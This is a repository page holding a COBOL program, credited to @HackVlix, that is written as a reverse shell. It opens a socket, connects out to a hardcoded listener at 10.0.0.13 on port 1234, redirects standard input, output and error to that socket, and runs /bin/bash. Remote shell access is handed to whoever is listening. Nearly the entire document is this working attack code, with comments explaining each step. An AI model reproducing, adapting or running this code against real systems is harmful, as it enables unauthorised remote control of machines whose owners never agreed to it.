-
Notifications
You must be signed in to change notification settings - Fork 0
/
04-reverseshell.cob
89 lines (79 loc) · 3.48 KB
/
04-reverseshell.cob
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
IDENTIFICATION DIVISION.
PROGRAM-ID. Reverse_Shell.
AUTHOR. @HackVlix.
DATE-WRITTEN. December 2023.
***************
DATA DIVISION.
WORKING-STORAGE SECTION.
* Arguments for the socket call.
01 PF_INET PIC 9(8) USAGE BINARY VALUE 2.
01 SOCK_STREAM PIC 9(8) USAGE BINARY VALUE 1.
01 IPPROTO_IP PIC 9(8) USAGE BINARY VALUE 0.
01 socket-descriptor PIC 9(8) USAGE BINARY.
* Arguments for the connect call.
* Note that port and ip address must be supplied in Big Endian.
* We have arguments
* sin_len = 0x00, sin_family = 0x02
* IP address = 10.0.0.13 (hex 0x0A00000D, decimal 167772173)
* port = 1234 (hex 0x04D2).
* Normally, we would have to convert these numbers to Big Endian,
* but IBM COBOL already stores these VALUEs as Big Endian,
* so we do not need to do this ourselves.
01 listener-address.
02 sin_len PIC X(1) VALUE x'00'.
02 sin_family PIC X(1) VALUE x'02'.
02 sin_port PIC 9(4) USAGE BINARY VALUE 1234.
02 sin_addr PIC 9(8) USAGE BINARY VALUE 167772173.
02 sin_zero PIC X(8) VALUE LOW-VALUES.
01 address-len PIC 9(8) USAGE BINARY VALUE 16.
* Standard file descriptors on Unixoid systems.
01 STDIN PIC 9(8) USAGE BINARY VALUE 0.
01 STDOUT PIC 9(8) USAGE BINARY VALUE 1.
01 STDERR PIC 9(8) USAGE BINARY VALUE 2.
* Argument for execve as a C-string (null-terminated).
01 path-string.
02 path PIC X(9) VALUE "/bin/bash".
02 end-C-string PIC X(1) VALUE x'00'.
********************
PROCEDURE DIVISION.
* DISPLAY "[+] Creating socket: ".
* DISPLAY " domain = " PF_INET.
* DISPLAY " type = " SOCK_STREAM.
* DISPLAY " protocol = " IPPROTO_IP.
CALL "socket" USING
BY VALUE PF_INET
BY VALUE SOCK_STREAM
BY VALUE IPPROTO_IP
RETURNING socket-descriptor.
* DISPLAY "[DEBUG] Socket descriptor = " socket-descriptor.
DISPLAY "[+] Connecting: ".
DISPLAY " port = " sin_port IN listener-address.
DISPLAY " address = " sin_addr IN listener-address.
CALL "connect" USING
BY VALUE socket-descriptor
BY REFERENCE listener-address
BY VALUE address-len
RETURNING RETURN-CODE.
* DISPLAY "[DEBUG] connection status = " return-code.
* On Linux, use dup3 instead of dup2.
CALL "dup2" USING
BY VALUE socket-descriptor
BY VALUE STDIN
RETURNING RETURN-CODE.
CALL "dup2" USING
BY VALUE socket-descriptor
BY VALUE STDOUT
RETURNING RETURN-CODE.
CALL "dup2" USING
BY VALUE socket-descriptor
BY VALUE STDERR
RETURNING RETURN-CODE.
DISPLAY "[+] Running shell " path IN path-string
" on target: IP " sin_addr IN listener-address
" : Port " sin_port IN listener-address.
CALL "execve" USING
BY REFERENCE path-string
BY VALUE 0
BY VALUE 0
RETURNING RETURN-CODE.
STOP RUN.